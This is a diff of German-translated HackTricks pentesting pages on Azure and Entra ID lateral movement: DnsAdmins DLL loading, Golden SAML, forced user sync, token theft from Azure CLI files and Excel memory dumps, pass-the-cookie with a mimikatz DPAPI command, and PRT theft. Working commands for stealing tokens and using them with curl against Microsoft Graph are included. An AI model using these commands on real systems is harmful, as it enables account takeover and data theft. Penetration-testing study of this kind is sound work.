+- **`Denied RODC Password Replication Group`**: Dies ist eine Gruppe, die Benutzer und Gruppen angibt, deren Passwörter nicht auf RODCs (Read-Only Domain Controllers) zwischengespeichert werden können.
+- **`Group Policy Creators Owners`**: Diese Gruppe ermöglicht es Mitgliedern, Gruppenrichtlinien in der Domäne zu erstellen. Ihre Mitglieder können jedoch keine Gruppenrichtlinien auf Benutzer oder Gruppen anwenden oder vorhandene GPOs bearbeiten, sodass sie in dieser Umgebung nicht so interessant ist.
+- **`DnsAdmins`**: Diese Gruppe ermöglicht die Verwaltung der DNS-Einstellungen und wurde in der Vergangenheit missbraucht, um [Berechtigungen zu eskalieren und die Domäne zu kompromittieren](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), jedoch wurde nach dem Testen des Angriffs in dieser Umgebung überprüft, dass die Schwachstelle gepatcht ist:
+```text
+dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
+
+DNS Server failed to reset registry property.
+Status = 5 (0x00000005)
+Command failed:  ERROR_ACCESS_DENIED     5    0x5
+```
+Beachten Sie, dass zur Gewährung dieser Berechtigungen die Gruppe **`AAD DC Administrators`** innerhalb des AD Mitglied der vorherigen Gruppen wird und auch die GPO **`AADDC Computers GPO`** alle Mitglieder der Domänengruppe **`AAD DC Administrators`** als lokale Administratoren hinzufügt.
+
+Das Pivotieren von Entra ID zu einem AD, das mit Domain Services erstellt wurde, ist unkompliziert. Fügen Sie einfach einen Benutzer zur Gruppe **`AAD DC Administrators`** hinzu, greifen Sie über RDP auf alle Maschinen in der Domäne zu, und Sie werden in der Lage sein, Daten zu stehlen und auch **die Domäne zu kompromittieren.**
+
+Das Pivotieren von der Domäne zu Entra ID ist jedoch nicht so einfach, da nichts aus der Domäne in Entra ID synchronisiert wird. Überprüfen Sie jedoch immer die Metadaten aller VMs, da deren zugewiesene verwaltete Identitäten interessante Berechtigungen haben könnten. Außerdem **dumpen Sie alle Benutzerpasswörter aus der Domäne** und versuchen Sie, diese zu knacken, um sich dann in Entra ID / Azure anzumelden.
+
+> [!NOTE]
+> Beachten Sie, dass in der Vergangenheit andere Schwachstellen in diesem verwalteten AD gefunden wurden, die es ermöglichten, die DCs zu kompromittieren, [wie diese hier](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Ein Angreifer, der den DC kompromittiert, könnte sehr leicht die Persistenz aufrechterhalten, ohne dass die Azure-Administratoren es bemerken oder sogar in der Lage sind, sie zu entfernen.
+
+### Enumeration
+```bash
+# Get configured domain services domains (you can add more subs to check in more subscriptions)
+az rest --method post \
+--url "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \
+--body '{
+"subscriptions": [
+"0ce1297c-9153-425d-3229-f51093614377"
+],
+"query": "resources | where type == \"microsoft.aad/domainservices\"",
+"options": {
+"$top": 16,
+"$skip": 0,
+"$skipToken": ""
+}
+}'
+
+# Get domain configuration
+az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
+## e.g.
+az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true"
+
+# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain
+
+subscription_id="0ce1297c-9153-425d-3229-f51093614377"
+vnet_name="aadds-vnet"
+
+# Retrieve all VMs in the subscription
+vm_list=$(az vm list --subscription "$subscription_id" --query "[].{Name:name, ResourceGroup:resourceGroup}" --output tsv)
+
+# Iterate through each VM to check their VNet connection
+echo "VMs connected to VNet '$vnet_name':"
+while IFS=$'\t' read -r vm_name resource_group; do
+nic_ids=$(az vm show --subscription "$subscription_id" --name "$vm_name" --resource-group "$resource_group" --query "networkProfile.networkInterfaces[].id" --output tsv)
+
+for nic_id in $nic_ids; do
+subnet_id=$(az network nic show --ids "$nic_id" --query "ipConfigurations[0].subnet.id" --output tsv)
+
+if [[ $subnet_id == *"virtualNetworks/$vnet_name"* ]]; then
+echo "VM Name: $vm_name, Resource Group: $resource_group"
+fi
+done
+done <<< "$vm_list"
+```
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-federation.md

@@ -6,12 +6,12 @@
 
 [Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)
 
->**Federation** ist eine Sammlung von **Domänen**, die **Vertrauen** etabliert haben. Das Vertrauensniveau kann variieren, umfasst jedoch typischerweise **Authentifizierung** und fast immer **Autorisierung**. Eine typische Föderation könnte eine **Anzahl von Organisationen** umfassen, die **Vertrauen** für **gemeinsamen Zugriff** auf eine Reihe von Ressourcen etabliert haben.
+>**Federation** ist eine Sammlung von **Domänen**, die **Vertrauen** etabliert haben. Das Vertrauensniveau kann variieren, umfasst jedoch typischerweise **Authentifizierung** und umfasst fast immer **Autorisierung**. Eine typische Föderation könnte eine **Anzahl von Organisationen** umfassen, die **Vertrauen** für **gemeinsamen Zugriff** auf eine Reihe von Ressourcen etabliert haben.
 >Sie können Ihre **lokale** Umgebung **mit Azure AD** föderieren und diese Föderation für Authentifizierung und Autorisierung nutzen. Diese Anmeldemethode stellt sicher, dass alle Benutzer-**Authentifizierungen lokal** erfolgen. Diese Methode ermöglicht es Administratoren, rigorosere Zugriffskontrollen zu implementieren. Die Föderation mit **AD FS** und PingFederate ist verfügbar.
 
 <figure><img src="../../../../images/image (154).png" alt=""><figcaption></figcaption></figure>
 
-Im Wesentlichen erfolgt in der Föderation alle **Authentifizierung** in der **lokalen** Umgebung und der Benutzer erlebt SSO über alle vertrauenswürdigen Umgebungen hinweg. Daher können Benutzer **auf** **Cloud**-Anwendungen zugreifen, indem sie ihre **lokalen Anmeldeinformationen** verwenden.
+Im Wesentlichen erfolgt in der Föderation die gesamte **Authentifizierung** in der **lokalen** Umgebung, und der Benutzer erlebt SSO über alle vertrauenswürdigen Umgebungen hinweg. Daher können Benutzer **auf** **Cloud**-Anwendungen zugreifen, indem sie ihre **lokalen Anmeldeinformationen** verwenden.
 
 **Security Assertion Markup Language (SAML)** wird verwendet, um alle Authentifizierungs- und Autorisierungs-**informationen** zwischen den Anbietern **auszutauschen**.
 
@@ -26,9 +26,9 @@ In jeder Föderationskonfiguration gibt es drei Parteien:
 1. Zunächst wird eine Anwendung (Dienstanbieter oder SP, wie die AWS-Konsole oder der vSphere-Webclient) von einem Benutzer aufgerufen. Dieser Schritt kann umgangen werden, sodass der Client direkt zum IdP (Identitätsanbieter) geleitet wird, abhängig von der spezifischen Implementierung.
 2. Anschließend identifiziert der SP den geeigneten IdP (z. B. AD FS, Okta) für die Benutzer-Authentifizierung. Er erstellt dann eine SAML (Security Assertion Markup Language) AuthnRequest und leitet den Client an den gewählten IdP weiter.
 3. Der IdP übernimmt und authentifiziert den Benutzer. Nach der Authentifizierung wird eine SAMLResponse vom IdP formuliert und über den Benutzer an den SP weitergeleitet.
-4. Schließlich bewertet der SP die SAMLResponse. Wenn sie erfolgreich validiert wird, was eine Vertrauensbeziehung mit dem IdP impliziert, erhält der Benutzer Zugriff. Dies markiert den Abschluss des Anmeldevorgangs, sodass der Benutzer den Dienst nutzen kann.
+4. Schließlich bewertet der SP die SAMLResponse. Wenn sie erfolgreich validiert wird, was auf eine Vertrauensbeziehung mit dem IdP hinweist, erhält der Benutzer Zugriff. Dies markiert den Abschluss des Anmeldeprozesses, der es dem Benutzer ermöglicht, den Dienst zu nutzen.
 
-**Wenn Sie mehr über SAML-Authentifizierung und gängige Angriffe erfahren möchten, gehen Sie zu:**
+**Wenn Sie mehr über SAML-Authentifizierung und häufige Angriffe erfahren möchten, gehen Sie zu:**
 
 {{#ref}}
 https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
@@ -60,7 +60,7 @@ Eine Parallele kann zum [Golden Ticket-Angriff](https://book.hacktricks.wiki/en/
 Golden SAMLs bieten bestimmte Vorteile:
 
 - Sie können **remote erstellt** werden, ohne Teil der betreffenden Domäne oder Föderation zu sein.
-- Sie bleiben auch mit **Zwei-Faktor-Authentifizierung (2FA)** wirksam.
+- Sie bleiben auch mit aktivierter **Zwei-Faktor-Authentifizierung (2FA)** wirksam.
 - Der Token-Signatur-**private Schlüssel erneuert sich nicht automatisch**.
 - **Das Ändern des Passworts eines Benutzers macht eine bereits generierte SAML nicht ungültig**.
 
@@ -73,16 +73,16 @@ Mit AWS, das der kompromittierten Domäne (in einer Föderation) vertraut, kann
 Die Anforderungen für die Durchführung eines Golden SAML-Angriffs umfassen:
 
 - **Token-Signatur-privater Schlüssel**
-- **IdP-öffentlichen Zertifikat**
+- **IdP-Öffentliches Zertifikat**
 - **IdP-Name**
-- **Rollenname (Rolle, die übernommen werden soll)**
+- **Rollenname (zu übernehmende Rolle)**
 - Domain\Benutzername
 - Rollensitzungsname in AWS
 - Amazon-Konto-ID
 
 _Nur die fettgedruckten Elemente sind obligatorisch. Die anderen können nach Belieben ausgefüllt werden._
 
-Um den **privaten Schlüssel** zu erwerben, ist der Zugriff auf das **AD FS-Benutzerkonto** erforderlich. Von dort aus kann der private Schlüssel **aus dem persönlichen Speicher exportiert** werden, indem Tools wie [mimikatz](https://github.com/gentilkiwi/mimikatz) verwendet werden. Um die anderen erforderlichen Informationen zu sammeln, können Sie das Microsoft.Adfs.Powershell-Snapin wie folgt verwenden, wobei Sie sicherstellen, dass Sie als ADFS-Benutzer angemeldet sind:
+Um den **privaten Schlüssel** zu erwerben, ist der Zugriff auf das **AD FS-Benutzerkonto** erforderlich. Von dort aus kann der private Schlüssel **aus dem persönlichen Speicher** mit Tools wie [mimikatz](https://github.com/gentilkiwi/mimikatz) exportiert werden. Um die anderen erforderlichen Informationen zu sammeln, können Sie das Microsoft.Adfs.Powershell-Snapin wie folgt verwenden, wobei Sie sicherstellen, dass Sie als ADFS-Benutzer angemeldet sind:
 ```bash
 # From an "AD FS" session
 # After having exported the key with mimikatz

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-hybrid-identity-misc-attacks.md

@@ -3,19 +3,19 @@
 {{#include ../../../../banners/hacktricks-training.md}}
 
 
-## Erzwingen der Synchronisierung von Entra ID-Benutzern zu on-prem
+## Erzwingen der Synchronisierung von Entra ID-Benutzern mit On-Prem
 
-Wie in [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg) erwähnt, war es möglich, den Wert von **`ProxyAddress`** innerhalb eines AD-Benutzers im on-prem AD zu ändern, indem die E-Mail eines Entra ID-Adminbenutzers hinzugefügt wurde und sichergestellt wurde, dass der UPN des Benutzers im AD und in Entra ID übereinstimmte (das ist wieder die Entra ID), wie **`SMTP:admin@domain.onmicrosoft.com`**. Und dies würde **die Synchronisierung dieses Benutzers** von Entra ID zum on-prem AD **erzwingen**, sodass, wenn das Passwort des Benutzers bekannt war, es verwendet werden könnte, um **auf den Admin in Entra ID zuzugreifen.**
+Wie in [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg) erwähnt, war es möglich, den Wert von **`ProxyAddress`** innerhalb eines AD-Benutzers im On-Prem AD zu ändern, indem die E-Mail eines Entra ID-Adminbenutzers hinzugefügt wurde und auch sichergestellt wurde, dass der UPN des Benutzers im AD und in Entra ID übereinstimmte (das ist wieder die Entra ID), wie **`SMTP:admin@domain.onmicrosoft.com`**. Und dies würde **die Synchronisierung dieses Benutzers** von Entra ID zum On-Prem AD **erzwingen**, sodass, wenn das Passwort des Benutzers bekannt war, es verwendet werden könnte, um **auf den Admin in Entra ID zuzugreifen.**
 
-Um einen neuen Benutzer von Entra ID zum on-prem AD zu synchronisieren, sind die Anforderungen, die einzigen Anforderungen:
+Um einen neuen Benutzer von Entra ID zum On-Prem AD zu synchronisieren, sind die Anforderungen, die einzigen Anforderungen:
 
-- Kontrolle über die Attribute eines Benutzers im on-prem AD (oder Berechtigungen zum Erstellen neuer Benutzer haben)
-- Den Benutzer cloud-only kennen, um von Entra ID zum on-prem AD zu synchronisieren
-- Möglicherweise müssen Sie auch in der Lage sein, das immutableID-Attribut vom Entra ID-Benutzer zum on-prem AD-Benutzer zu ändern, um einen **harten Abgleich** durchzuführen.
+- Kontrolle über die Attribute eines Benutzers im On-Prem AD (oder Berechtigungen zum Erstellen neuer Benutzer haben)
+- Den Benutzer cloud-only kennen, um von Entra ID zum On-Prem AD zu synchronisieren
+- Möglicherweise müssen Sie auch in der Lage sein, das immutableID-Attribut des Entra ID-Benutzers auf den On-Prem AD-Benutzer zu ändern, um einen **harten Abgleich** durchzuführen.
 
 
 > [!CAUTION]
-> Entra ID erlaubt es nicht mehr, Admins von Entra ID zum on-prem AD zu synchronisieren.
+> Entra ID erlaubt es nicht mehr, Admins von Entra ID zum On-Prem AD zu synchronisieren.
 > Außerdem **umgeht dies nicht MFA**.
 
 

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md

@@ -12,28 +12,48 @@ Tokens und sensible Daten werden lokal von Azure CLI gespeichert, was Sicherheit
 2. **Abonnementinformationen**: `azureProfile.json`, im selben Verzeichnis, enthält Abonnementdetails.
 3. **Protokolldateien**: Der Ordner `ErrorRecords` innerhalb von `.azure` könnte Protokolle mit exponierten Anmeldeinformationen enthalten, wie z.B.:
 - Ausgeführte Befehle mit eingebetteten Anmeldeinformationen.
-- Über Tokens aufgerufene URLs, die potenziell sensible Informationen offenbaren.
+- URLs, die mit Tokens aufgerufen wurden, was potenziell sensible Informationen offenbaren könnte.
 
 ### Azure PowerShell
 
 Azure PowerShell speichert ebenfalls Tokens und sensible Daten, die lokal abgerufen werden können:
 
 1. **Zugriffstoken**: `TokenCache.dat`, das sich unter `C:\Users\<username>\.Azure` befindet, speichert Zugriffstoken im Klartext.
-2. **Geheimnisse des Dienstprinzipals**: Diese werden unverschlüsselt in `AzureRmContext.json` gespeichert.
+2. **Secrets des Dienstprinzipals**: Diese werden unverschlüsselt in `AzureRmContext.json` gespeichert.
 3. **Token-Speicherfunktion**: Benutzer haben die Möglichkeit, Tokens mit dem Befehl `Save-AzContext` zu speichern, was vorsichtig verwendet werden sollte, um unbefugten Zugriff zu verhindern.
 
-## Automatische Tools zur Auffindung
+### Automatische Tools, um sie zu finden
 
 - [**Winpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe)
 - [**Get-AzurePasswords.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/AzureRM/Get-AzurePasswords.ps1)
 
-## Sicherheitsempfehlungen
+## Tokens im Speicher
 
-Angesichts der Speicherung sensibler Daten im Klartext ist es entscheidend, diese Dateien und Verzeichnisse zu sichern durch:
+Wie in [**diesem Video**](https://www.youtube.com/watch?v=OHKZkXC4Duw) erklärt, könnte einige Microsoft-Software, die mit der Cloud synchronisiert ist (Excel, Teams...), **Zugriffstoken im Klartext im Speicher speichern**. Das bloße **Dumpen** des **Speichers** des Prozesses und **Greppen nach JWT-Tokens** könnte Ihnen Zugriff auf mehrere Ressourcen des Opfers in der Cloud gewähren und MFA umgehen.
 
-- Einschränkung der Zugriffsrechte auf diese Dateien.
-- Regelmäßige Überwachung und Prüfung dieser Verzeichnisse auf unbefugten Zugriff oder unerwartete Änderungen.
-- Einsatz von Verschlüsselung für sensible Dateien, wo möglich.
-- Schulung der Benutzer über die Risiken und bewährten Praktiken im Umgang mit solchen sensiblen Informationen.
+Schritte:
+
+1. Dumpen Sie die Excel-Prozesse, die mit dem EntraID-Benutzer synchronisiert sind, mit Ihrem bevorzugten Tool.
+2. Führen Sie aus: `string excel.dmp | grep 'eyJ0'` und finden Sie mehrere Tokens in der Ausgabe.
+3. Finden Sie die Tokens, die Sie am meisten interessieren, und führen Sie Tools über sie aus:
+```bash
+# Check the identity of the token
+curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq
+
+# Check the email (you need a token authorized in login.microsoftonline.com)
+curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq
+
+# Download a file from Teams
+## You need a token that can access graph.microsoft.com
+## Then, find the <site_id> inside the memory and call
+curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq
+
+## Then, list one drive
+curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq
+
+## Finally, download a file from that drive:
+curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
+```
+**Beachten Sie, dass diese Art von Zugriffstoken auch in anderen Prozessen gefunden werden kann.**
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md

@@ -12,7 +12,7 @@ In super vereinfachten Begriffen:
 - Der Client erstellt einen JSON Web Token (JWT) Header, der PRT und andere Details enthält, signiert ihn mit dem abgeleiteten Schlüssel (unter Verwendung des Sitzungsschlüssels und des Sicherheitskontexts) und **sendet ihn an Entra ID**.
 - Entra ID überprüft die JWT-Signatur mit dem Sitzungsschlüssel des Clients und dem Sicherheitskontext, prüft die Gültigkeit des PRT und **antwortet** mit dem **Zertifikat**.
 
-In diesem Szenario und nachdem alle benötigten Informationen für einen [**Pass the PRT**](pass-the-prt.md) Angriff gesammelt wurden:
+In diesem Szenario und nachdem alle benötigten Informationen für einen [**Pass the PRT**](az-primary-refresh-token-prt.md) Angriff gesammelt wurden:
 
 - Benutzername
 - Mandanten-ID
@@ -24,7 +24,7 @@ Es ist möglich, ein **P2P-Zertifikat** für den Benutzer mit dem Tool [**PrtToC
 ```bash
 RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE]
 ```
-Die Zertifikate haben die gleiche Gültigkeit wie das PRT. Um das Zertifikat zu verwenden, können Sie das Python-Tool [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) verwenden, das sich **authentifiziert** und **PSEXEC** ausführt sowie eine CMD auf der Opfermaschine öffnet. Dies ermöglicht es uns, Mimikatz erneut zu verwenden, um das PRT eines anderen Benutzers zu erhalten.
+Die Zertifikate haben die gleiche Gültigkeit wie das PRT. Um das Zertifikat zu verwenden, können Sie das Python-Tool [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) verwenden, das sich **authentifiziert** und **PSEXEC** ausführt sowie eine CMD auf der Zielmaschine öffnet. Dies ermöglicht es uns, Mimikatz erneut zu verwenden, um das PRT eines anderen Benutzers zu erhalten.
 ```bash
 Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP
 ```

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md

@@ -4,7 +4,7 @@
 
 ## Warum Cookies?
 
-Browser **cookies** sind ein großartiger Mechanismus, um **Authentifizierung und MFA zu umgehen**. Da der Benutzer bereits in der Anwendung authentifiziert ist, kann das **Session-Cookie** einfach verwendet werden, um **auf Daten** als dieser Benutzer zuzugreifen, ohne sich erneut authentifizieren zu müssen.
+Browser **cookies** sind ein großartiger Mechanismus, um **Authentifizierung und MFA zu umgehen**. Da der Benutzer bereits in der Anwendung authentifiziert ist, kann das **cookie** einfach verwendet werden, um **auf Daten** als dieser Benutzer zuzugreifen, ohne sich erneut authentifizieren zu müssen.
 
 Sie können sehen, wo **Browser-Cookies gespeichert sind** in:
 
@@ -14,17 +14,17 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
 
 ## Angriff
 
-Der herausfordernde Teil ist, dass diese **Cookies verschlüsselt** sind für den **Benutzer** über die Microsoft Data Protection API (**DPAPI**). Dies wird mit kryptografischen [Schlüsseln, die an den Benutzer gebunden sind](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html), zu dem die Cookies gehören, verschlüsselt. Weitere Informationen dazu finden Sie in:
+Der herausfordernde Teil ist, dass diese **Cookies verschlüsselt sind** für den **Benutzer** über die Microsoft Data Protection API (**DPAPI**). Dies wird mit kryptografischen [Schlüsseln, die an den Benutzer gebunden sind](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html), zu dem die Cookies gehören, verschlüsselt. Weitere Informationen dazu finden Sie in:
 
 {{#ref}}
 https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html
 {{#endref}}
 
-Mit Mimikatz in der Hand kann ich **die Cookies eines Benutzers extrahieren**, obwohl sie mit diesem Befehl verschlüsselt sind:
+Mit Mimikatz in der Hand kann ich **die Cookies eines Benutzers extrahieren**, auch wenn sie mit diesem Befehl verschlüsselt sind:
 ```bash
 mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
 ```
-Für Azure sind uns die Authentifizierungscookies wichtig, einschließlich **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`** und **`ESTSAUTHLIGHT`**. Diese sind vorhanden, weil der Benutzer kürzlich aktiv auf Azure war.
+Für Azure interessieren wir uns für die Authentifizierungscookies, einschließlich **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`** und **`ESTSAUTHLIGHT`**. Diese sind vorhanden, weil der Benutzer in letzter Zeit aktiv auf Azure war.
 
 Navigieren Sie einfach zu login.microsoftonline.com und fügen Sie das Cookie **`ESTSAUTHPERSISTENT`** (generiert durch die Option „Angemeldet bleiben“) oder **`ESTSAUTH`** hinzu. Und Sie werden authentifiziert.
 

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md

@@ -4,9 +4,9 @@
 
 ## Was ist ein Primary Refresh Token (PRT)?
 
-Ein **Primary Refresh Token (PRT)** ist ein langlebiger Refresh-Token, der in der Azure AD (Entra ID) Authentifizierung verwendet wird, analog zu einem Kerberos TGT. Er wird bei der Benutzeranmeldung auf einem Azure AD-verbundenen Gerät ausgegeben und kann verwendet werden, um Zugriffstoken für verschiedene Anwendungen anzufordern, ohne die Anmeldeinformationen erneut abfragen zu müssen. Jeder PRT wird von einem **Sitzungsschlüssel** (auch als Proof-of-Possession-Schlüssel bezeichnet) begleitet – einem symmetrischen Schlüssel, der verwendet wird, um Anfragen zu signieren und zu beweisen, dass der Client den PRT hat. Der PRT selbst ist ein undurchsichtiger, verschlüsselter Blob (nicht vom Client lesbar), während der Sitzungsschlüssel verwendet wird, um ein JWT, das den PRT enthält, bei der Anforderung von Token zu **signieren**. Mit anderen Worten, der Besitz des PRT allein ist unzureichend; ein Angreifer benötigt den Sitzungsschlüssel, um die Legitimität zu beweisen, ähnlich wie man sowohl ein Kerberos TGT als auch seinen Sitzungsschlüssel für die Authentifizierung benötigt.
+Ein **Primary Refresh Token (PRT)** ist ein langlebiger Refresh-Token, der in der Azure AD (Entra ID) Authentifizierung verwendet wird, analog zu einem Kerberos TGT. Er wird bei der Benutzeranmeldung auf einem Azure AD-verbundenen Gerät ausgegeben und kann verwendet werden, um Zugriffstoken für verschiedene Anwendungen anzufordern, ohne die Anmeldeinformationen erneut abzufragen. Jeder PRT wird von einem **Sitzungsschlüssel** (auch als Proof-of-Possession-Schlüssel bezeichnet) begleitet – einem symmetrischen Schlüssel, der verwendet wird, um Anfragen zu signieren und zu beweisen, dass der Client den PRT hat. Der PRT selbst ist ein undurchsichtiger, verschlüsselter Blob (nicht vom Client lesbar), während der Sitzungsschlüssel verwendet wird, um ein JWT, das den PRT enthält, bei der Anforderung von Token zu **signieren**. Mit anderen Worten, der Besitz des PRT allein ist unzureichend; ein Angreifer benötigt den Sitzungsschlüssel, um die Legitimität zu beweisen, ähnlich wie man sowohl ein Kerberos TGT als auch seinen Sitzungsschlüssel für die Authentifizierung benötigt.
 
-Unter Windows werden der PRT und der Sitzungsschlüssel im LSASS-Prozess über das CloudAP-Plugin zwischengespeichert. Wenn ein Gerät über ein **TPM** (Trusted Platform Module) verfügt, bindet Azure AD Schlüssel an das TPM für zusätzliche Sicherheit. Das bedeutet, dass auf TPM-ausgestatteten Geräten der Sitzungsschlüssel im TPM gespeichert oder verwendet wird, sodass er unter normalen Umständen nicht direkt aus dem Speicher gelesen werden kann. Wenn kein TPM verfügbar ist (z. B. viele VMs oder ältere Systeme), werden die Schlüssel in Software aufbewahrt und mit DPAPI-Verschlüsselung geschützt. In beiden Fällen kann ein Angreifer mit administrativen Rechten oder Codeausführung auf der Maschine versuchen, den **PRT und den Sitzungsschlüssel aus dem Speicher zu extrahieren**, um dann den Benutzer in der Cloud zu impersonieren. Im Gegensatz zu typischen Refresh-Token (die normalerweise an eine Anwendung gebunden sind) ist ein PRT breiter gefasst und ermöglicht es Ihrem Gerät, Token für fast jede Entra ID-integrierte Ressource oder Dienst anzufordern.
+Unter Windows werden der PRT und der Sitzungsschlüssel im LSASS-Prozess über das CloudAP-Plugin zwischengespeichert. Wenn ein Gerät über ein **TPM** (Trusted Platform Module) verfügt, bindet Azure AD Schlüssel an das TPM für zusätzliche Sicherheit. Das bedeutet, dass auf TPM-ausgestatteten Geräten der Sitzungsschlüssel im TPM gespeichert oder verwendet wird, sodass er unter normalen Umständen nicht direkt aus dem Speicher gelesen werden kann. Wenn kein TPM verfügbar ist (z. B. viele VMs oder ältere Systeme), werden die Schlüssel in Software aufbewahrt und mit DPAPI-Verschlüsselung geschützt. In beiden Fällen kann ein Angreifer mit administrativen Rechten oder Codeausführung auf der Maschine versuchen, den PRT und den Sitzungsschlüssel aus dem Speicher zu **dumpen** und sie dann verwenden, um den Benutzer in der Cloud zu impersonieren. Im Gegensatz zu typischen Refresh-Token (die normalerweise an eine Anwendung gebunden sind) ist ein PRT breiter gefasst und ermöglicht es Ihrem Gerät, Token für fast jede Entra ID-integrierte Ressource oder Dienst anzufordern.
 
 ## Wie funktioniert ein PRT?
 
@@ -26,7 +26,7 @@ Hier ist eine vereinfachte Übersicht, wie ein PRT funktioniert:
 
 -   Jedes Mal, wenn Sie auf eine Entra ID-geschützte Anwendung (z. B. Microsoft 365-Apps, SharePoint, Teams) zugreifen, verwendet Ihr Gerät stillschweigend den gespeicherten PRT, um ein spezifisches Zugriffstoken für diese App anzufordern und zu erhalten.
 
--   Sie müssen Ihre Anmeldeinformationen nicht wiederholt eingeben, da der PRT die Authentifizierung transparent handhabt.
+-   Sie müssen Ihre Anmeldeinformationen nicht wiederholt eingeben, da der PRT die Authentifizierung transparent behandelt.
 
 4.  **Erneuerung und Sicherheit:**
 
@@ -36,7 +36,7 @@ Hier ist eine vereinfachte Übersicht, wie ein PRT funktioniert:
 
 ### Warum sind PRTs mächtig?
 
--   **Universeller Zugriff:** Im Gegensatz zu typischen Token, die auf eine Anwendung oder Ressource beschränkt sind, kann ein PRT den Zugriff auf alle Entra ID-integrierten Dienste erleichtern.
+-   **Universeller Zugriff:** Im Gegensatz zu typischen Token, die auf eine App oder Ressource beschränkt sind, kann ein PRT den Zugriff auf alle Entra ID-integrierten Dienste erleichtern.
 
 -   **Erhöhte Sicherheit:** Mit integrierten Hardware-Schutzmaßnahmen (wie TPM) gewährleisten PRTs eine sichere Token-Speicherung und -Nutzung.
 
@@ -61,14 +61,22 @@ dsregcmd /status
 # KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound.
 # Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test).
 ```
-## Dump und Benutzer ungeschützter PRTs
+## PRT übergeben
 
-Laut [diesem Beitrag](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) auf Windows-Geräten **ohne TPM-Bindung** leben der PRT und sein Sitzungsschlüssel in LSASS (CloudAP-Plugin). Mit lokalen Admin/SYSTEM-Rechten auf diesem Gerät kann der PRT-BLOB und der DPAPI-verschlüsselte Sitzungsschlüssel **aus LSASS gelesen, der Sitzungsschlüssel über DPAPI entschlüsselt und der Signaturschlüssel abgeleitet** werden, um ein gültiges PRT-Cookie (`x‑ms‑RefreshTokenCredential`) zu erstellen. Sie benötigen sowohl den PRT als auch seinen Sitzungsschlüssel – der PRT-String allein reicht nicht aus.
+Laut [diesem Beitrag](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) auf Windows-Geräten **ohne TPM-Bindung** leben der PRT und sein Sitzungsschlüssel in LSASS (CloudAP-Plugin). Mit lokalen Admin-/SYSTEM-Rechten auf diesem Gerät kann der PRT-BLOB und der DPAPI-verschlüsselte Sitzungsschlüssel **aus LSASS gelesen, der Sitzungsschlüssel über DPAPI entschlüsselt und der Signaturschlüssel abgeleitet** werden, um ein gültiges PRT-Cookie (`x‑ms‑RefreshTokenCredential`) zu erstellen. Sie benötigen sowohl den PRT als auch seinen Sitzungsschlüssel – der PRT-String allein reicht nicht aus.
 
 ### Mimikatz
+
+1. Der **PRT (Primary Refresh Token) wird aus LSASS** (Local Security Authority Subsystem Service) extrahiert und für die spätere Verwendung gespeichert.
